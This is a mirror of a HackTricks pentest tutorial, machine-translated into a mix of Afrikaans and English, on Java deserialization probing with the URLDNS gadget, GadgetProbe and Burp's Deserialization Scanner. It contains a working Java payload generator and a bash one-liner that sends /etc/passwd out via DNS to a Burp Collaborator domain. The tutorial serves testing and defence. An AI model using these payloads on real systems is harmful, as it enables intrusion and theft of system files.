mirror of
https://github.com/carlospolop/hacktricks
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213 lines
11 KiB
Markdown
213 lines
11 KiB
Markdown
# Java DNS Deserialization, GadgetProbe en Java Deserialization Scanner
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{% hint style="success" %}
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Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Ondersteun HackTricks</summary>
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* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## DNS versoek op deserialisering
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Die klas `java.net.URL` implementeer `Serializable`, dit beteken dat hierdie klas geserialiseer kan word.
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```java
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public final class URL implements java.io.Serializable {
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```
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Hierdie klas het 'n **nuuskierige gedrag.** Uit die dokumentasie: “**Twee gasheer is gelykwaardig as beide gasheername in dieselfde IP adresse opgelos kan word**.”\
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Dan, elke keer as 'n URL objek **enige** van die **funksies `equals`** of **`hashCode`** aanroep, gaan 'n **DNS versoek** om die IP Adres te kry **gestuur** word.
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**Om** die funksie **`hashCode`** **van** 'n **URL** objek aan te roep is redelik maklik, dit is genoeg om hierdie objek binne 'n `HashMap` in te voeg wat gedeserialiseer gaan word. Dit is omdat **aan die einde** van die **`readObject`** funksie van `HashMap` hierdie kode uitgevoer word:
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```java
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private void readObject(java.io.ObjectInputStream s)
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throws IOException, ClassNotFoundException {
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[ ... ]
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for (int i = 0; i < mappings; i++) {
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[ ... ]
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putVal(hash(key), key, value, false, false);
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}
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```
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Dit is **gaan** die **uitvoer** `putVal` met elke waarde binne die `HashMap`. Maar, meer relevant is die oproep na `hash` met elke waarde. Dit is die kode van die `hash` funksie:
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```java
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static final int hash(Object key) {
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int h;
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return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
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}
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```
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As you can observe, **wanneer deserialiseer** 'n **`HashMap`** gaan die funksie `hash` **uitgevoer word met elke objek** en **tydens** die **`hash`** uitvoering **gaan dit `.hashCode()` van die objek uitvoer**. Daarom, as jy **deserialiseer** 'n **`HashMap`** **wat** 'n **URL** objek **bevat**, sal die **URL objek** **`.hashCode()` uitvoer**.
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Nou, kom ons kyk na die kode van `URLObject.hashCode()` :
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```java
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public synchronized int hashCode() {
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if (hashCode != -1)
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return hashCode;
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hashCode = handler.hashCode(this);
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return hashCode;
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```
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As you can see, when a `URLObject` executes`.hashCode()` it is called `hashCode(this)`. 'n Voortsetting kan jy die kode van hierdie funksie sien:
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```java
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protected int hashCode(URL u) {
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int h = 0;
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// Generate the protocol part.
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String protocol = u.getProtocol();
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if (protocol != null)
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h += protocol.hashCode();
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// Generate the host part.
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InetAddress addr = getHostAddress(u);
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[ ... ]
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```
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You can see that a `getHostAddress` is executed to the domain, **wat 'n DNS-navraag** **ontketen**.
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Therefore, this class can be **misbruik** in orde om **'n DNS-navraag** te **ontketen** om te **demonstrate** dat **deserialisering** moontlik is, of selfs om **inligting te exfiltreer** (jy kan die uitvoer van 'n opdraguitvoering as subdomein byvoeg).
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### URLDNS payload code example
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You can find the [URDNS payload code from ysoserial here](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial):
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```java
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import java.io.File;
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import java.io.FileInputStream;
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import java.io.FileOutputStream;
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import java.io.IOException;
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import java.io.ObjectInputStream;
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import java.io.ObjectOutputStream;
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import java.lang.reflect.Field;
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import java.net.InetAddress;
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import java.net.URLConnection;
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import java.net.URLStreamHandler;
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import java.util.HashMap;
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import java.net.URL;
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public class URLDNS {
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public static void GeneratePayload(Object instance, String file)
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throws Exception {
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//Serialize the constructed payload and write it to the file
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File f = new File(file);
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ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
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out.writeObject(instance);
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out.flush();
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out.close();
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}
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public static void payloadTest(String file) throws Exception {
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//Read the written payload and deserialize it
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ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
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Object obj = in.readObject();
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System.out.println(obj);
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in.close();
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}
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public static void main(final String[] args) throws Exception {
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String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
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HashMap ht = new HashMap(); // HashMap that will contain the URL
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URLStreamHandler handler = new SilentURLStreamHandler();
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URL u = new URL(null, url, handler); // URL to use as the Key
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ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
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// During the put above, the URL's hashCode is calculated and cached.
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// This resets that so the next time hashCode is called a DNS lookup will be triggered.
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final Field field = u.getClass().getDeclaredField("hashCode");
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field.setAccessible(true);
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field.set(u, -1);
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//Test the payloads
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GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
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}
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}
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class SilentURLStreamHandler extends URLStreamHandler {
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protected URLConnection openConnection(URL u) throws IOException {
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return null;
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}
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protected synchronized InetAddress getHostAddress(URL u) {
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return null;
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}
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}
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```
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### Meer inligting
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* [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
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* In die oorspronklike idee is die commons collections payload verander om 'n DNS-navraag uit te voer, dit was minder betroubaar as die voorgestelde metode, maar dit is die pos: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
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## GadgetProbe
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Jy kan [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) aflaai van die Burp Suite App Store (Extender).
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**GadgetProbe** sal probeer om uit te vind of sommige **Java klasse bestaan** op die Java klas van die bediener sodat jy kan weet **of** dit **kwulnerbaar** is vir 'n bekende ontploffing.
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### Hoe werk dit
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**GadgetProbe** sal dieselfde **DNS payload van die vorige afdeling** gebruik, maar **voor** dit die DNS-navraag uitvoer, sal dit **probeer om 'n arbitrêre klas te deserialiseer**. As die **arbitrêre klas bestaan**, sal die **DNS-navraag** **gestuur** word en GadgetProbe sal opteken dat hierdie klas bestaan. As die **DNS** versoek **nooit gestuur** word, beteken dit dat die **arbitrêre klas nie suksesvol gedeserialiseer** is nie, so dit is of nie teenwoordig nie of dit is **nie serialiseerbaar/uitbuitbaar** nie.
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Binne die github, [**GadgetProbe het 'n paar woordlyste**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) met Java klasse wat getoets kan word.
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 (1).gif>)
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### Meer Inligting
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* [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
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## Java Deserialization Scanner
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Hierdie scanner kan **afgelaai** word van die Burp App Store (**Extender**).\
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Die **uitbreiding** het **passiewe** en aktiewe **vermoëns**.
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### Passief
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Standaard **kontroleer dit passief** al die versoeke en antwoorde wat gestuur word **soek** vir **Java geserialiseerde magiese bytes** en sal 'n kwesbaarheid waarskuwing aanbied as enige gevind word:
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.png>)
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### Aktief
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**Handmatige Toetsing**
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Jy kan 'n versoek kies, regs klik en `Stuur versoek na DS - Handmatige Toetsing`.\
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Dan, binne die _Deserialization Scanner Tab_ --> _Handmatige toetsing tab_ kan jy die **invoegpunt** kies. En **begin die toetsing** (Kies die toepaslike aanval afhangende van die kodering wat gebruik word).
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Selfs al word dit "Handmatige toetsing" genoem, is dit redelik **geoutomatiseer**. Dit sal outomaties kontroleer of die **deserialisering** **kwulnerbaar** is vir **enige ysoserial payload** deur die biblioteke wat op die webbediener teenwoordig is te kontroleer en sal die kwesbare uitlig. Om te **kontroleer** vir **kwulnerbare biblioteke** kan jy kies om **Javas Sleeps** te begin, **slaap** via **CPU** verbruik, of deur **DNS** soos voorheen genoem.
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**Uitbuiting**
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Sodra jy 'n kwesbare biblioteek geïdentifiseer het, kan jy die versoek na die _Uitbuiting Tab_ stuur.\
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In hierdie tab moet jy die **inspuitpunt** weer **kies**, en **skryf** die **kwulnerbare biblioteek** waarvoor jy 'n payload wil skep, en die **opdrag**. Druk dan net die toepaslike **Aanval** knoppie.
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### Java Deserialization DNS Exfil inligting
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Maak jou payload iets soos die volgende uitvoer:
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```bash
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(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
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```
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### Meer Inligting
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* [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
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{% hint style="success" %}
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Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Ondersteun HackTricks</summary>
|
|
|
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* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
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* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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